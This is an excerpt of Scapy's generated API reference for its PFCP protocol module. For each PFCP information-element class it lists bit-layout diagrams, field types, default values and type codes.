 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|           REPORTS           |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. IE_AdditionalUsageReportsInformation             


IE_AdditionalUsageReportsInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	AURI

	BitField  (1 bit)

	0



	reports

	BitField  (15 bits)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 126

	








	
class scapy.contrib.pfcp.IE_AggregatedURR_Id(_pkt, /, *, ietype=0, length=None, id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1848-L1853]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_AggregatedURR_Id                     


IE_AggregatedURR_Id fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	IntField

	0











	
ie_type = 120

	








	
class scapy.contrib.pfcp.IE_AggregatedURRs(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L676-L678]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_AggregatedURRs                      


IE_AggregatedURRs fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 118

	








	
class scapy.contrib.pfcp.IE_ApplicationDetectionInformation(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L616-L618]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. IE_ApplicationDetectionInformation              


IE_ApplicationDetectionInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 68

	








	
class scapy.contrib.pfcp.IE_ApplicationID_PFDs(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L606-L608]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_ApplicationID_PFDs                    


IE_ApplicationID_PFDs fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 58

	








	
class scapy.contrib.pfcp.IE_ApplicationId(_pkt, /, *, ietype=0, length=None, id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L794-L799]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_ApplicationId                       


IE_ApplicationId fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	StrLenField

	b''











	
ie_type = 24

	








	
class scapy.contrib.pfcp.IE_ApplicationInstanceId(_pkt, /, *, ietype=0, length=None, id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1528-L1533]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_ApplicationInstanceId                   


IE_ApplicationInstanceId fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	StrLenField

	b''











	
ie_type = 91

	








	
class scapy.contrib.pfcp.IE_ApplyAction(_pkt, /, *, ietype=0, length=None, spare=None, DUPL=0, NOCP=0, BUFF=0, FORW=0, DROP=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1033-L1044]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SPARE|D|N|B|F|D|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IE_ApplyAction                        


IE_ApplyAction fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (3 bits)

	None



	DUPL

	BitField  (1 bit)

	0



	NOCP

	BitField  (1 bit)

	0



	BUFF

	BitField  (1 bit)

	0



	FORW

	BitField  (1 bit)

	0



	DROP

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 44

	








	
class scapy.contrib.pfcp.IE_AveragingWindow(_pkt, /, *, ietype=0, length=None, averaging_window=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2220-L2226]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        AVERAGING WINDOW                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_AveragingWindow                      


IE_AveragingWindow fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	averaging_window

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 157

	








	
class scapy.contrib.pfcp.IE_BAR_Id(_pkt, /, *, ietype=0, length=None, id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1495-L1501]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_BAR_Id                          


IE_BAR_Id fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	ByteField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 88

	








	
class scapy.contrib.pfcp.IE_Base(_pkt, /, *, ietype=0, length=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L482-L496]

	Bases: PFCPLengthMixin, Packet


	
aliastypes

	




	
default_length = None

	




	
extract_padding(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L490-L491]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_Base                           


IE_Base fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None















	
class scapy.contrib.pfcp.IE_CPFunctionFeatures(_pkt, /, *, ietype=0, length=None, spare=0, OVRL=0, LOAD=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1504-L1512]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SPARE   |O|L|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_CPFunctionFeatures                    


IE_CPFunctionFeatures fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (6 bits)

	0



	OVRL

	BitField  (1 bit)

	0



	LOAD

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 89

	








	
class scapy.contrib.pfcp.IE_C_TAG(_pkt, /, *, ietype=0, length=None, spare_1=0, VID=0, DEI=0, PCP=0, cvid_value_hi=0, spare_2=0, dei_flag=0, spare_3=0, pcp_value=0, spare_4=0, cvid_value_low=0, spare_5=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1949-L1969]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE 1 |V|D|P|CVID VA|SPARE 2|D|S|PCP V|SPARE| CVID VALUE LOW|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE 5    |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_C_TAG                           


IE_C_TAG fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare_1

	XBitField  (5 bits)

	0



	VID

	BitField  (1 bit)

	0



	DEI

	BitField  (1 bit)

	0



	PCP

	BitField  (1 bit)

	0



	cvid_value_hi

	BitField (Cond) (4 bits)

	0



	spare_2

	BitField (Cond) (4 bits)

	0



	dei_flag

	BitField (Cond) (1 bit)

	0



	spare_3

	BitField (Cond) (1 bit)

	0



	pcp_value

	BitField (Cond) (3 bits)

	0



	spare_4

	BitField (Cond) (3 bits)

	0



	cvid_value_low

	ByteField (Cond)

	0



	spare_5

	ByteField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 134

	








	
class scapy.contrib.pfcp.IE_Cause(_pkt, /, *, ietype=0, length=None, cause=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L716-L721]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CAUSE     |
+-+-+-+-+-+-+-+-+

                          Fig. IE_Cause                           


IE_Cause fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	cause

	ByteEnumField

	None











	
ie_type = 19

	








	
class scapy.contrib.pfcp.IE_Compound(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L499-L503]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_Compound                         


IE_Compound fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]















	
class scapy.contrib.pfcp.IE_CreateFAR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L516-L518]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_CreateFAR                         


IE_CreateFAR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 3

	








	
class scapy.contrib.pfcp.IE_CreatePDR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L506-L508]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_CreatePDR                         


IE_CreatePDR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 1

	








	
class scapy.contrib.pfcp.IE_CreateQER(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L536-L538]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_CreateQER                         


IE_CreateQER fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 7

	








	
class scapy.contrib.pfcp.IE_CreateTrafficEndpoint(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L681-L683]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_CreateTrafficEndpoint                   


IE_CreateTrafficEndpoint fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 127

	








	
class scapy.contrib.pfcp.IE_CreateURR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L531-L533]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_CreateURR                         


IE_CreateURR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 6

	








	
class scapy.contrib.pfcp.IE_Create_BAR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L646-L648]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_Create_BAR                        


IE_Create_BAR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 85

	








	
class scapy.contrib.pfcp.IE_CreatedPDR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L541-L543]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_CreatedPDR                        


IE_CreatedPDR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 8

	








	
class scapy.contrib.pfcp.IE_CreatedTrafficEndpoint(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L686-L688]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_CreatedTrafficEndpoint                  


IE_CreatedTrafficEndpoint fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 128

	








	
class scapy.contrib.pfcp.IE_DLBufferingDuration(_pkt, /, *, ietype=0, length=None, timer_unit=0, timer_value=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1079-L1086]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TIMER|TIMER VAL|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. IE_DLBufferingDuration                    


IE_DLBufferingDuration fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	timer_unit

	BitEnumField

	0



	timer_value

	BitField  (5 bits)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 47

	








	
class scapy.contrib.pfcp.IE_DLBufferingSuggestedPacketCount(_pkt, /, *, ietype=0, length=None, count=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1089-L1107]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     |
+-+-+-+-+-+-+-+-+

             Fig. IE_DLBufferingSuggestedPacketCount              


IE_DLBufferingSuggestedPacketCount fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	count

	MultipleTypeField (ByteField, ShortField, ByteField)

	0











	
ie_type = 48

	








	
class scapy.contrib.pfcp.IE_DLFlowLevelMarking(_pkt, /, *, ietype=0, length=None, spare_1=0, SCI=0, TTC=0, traffic_class=0, traffic_class_mask=0, service_class_indicator=0, spare_2=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1606-L1619]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE 1  |S|T| TRAFFIC CLASS |TRAFFIC CLASS M|SERVICE CLASS I|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE 2    |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_DLFlowLevelMarking                    


IE_DLFlowLevelMarking fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare_1

	XBitField  (6 bits)

	0



	SCI

	BitField  (1 bit)

	0



	TTC

	BitField  (1 bit)

	0



	traffic_class

	ByteField (Cond)

	0



	traffic_class_mask

	ByteField (Cond)

	0



	service_class_indicator

	ByteField (Cond)

	0



	spare_2

	ByteField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 97

	








	
class scapy.contrib.pfcp.IE_DeactivatePredefinedRules(_pkt, /, *, ietype=0, length=None, name='IE Deactivate Predefined Rules')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1705-L1710]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              NAME             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. IE_DeactivatePredefinedRules                 


IE_DeactivatePredefinedRules fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	name

	StrLenField

	'IE Deactivate Predefined Rules'











	
ie_type = 107

	








	
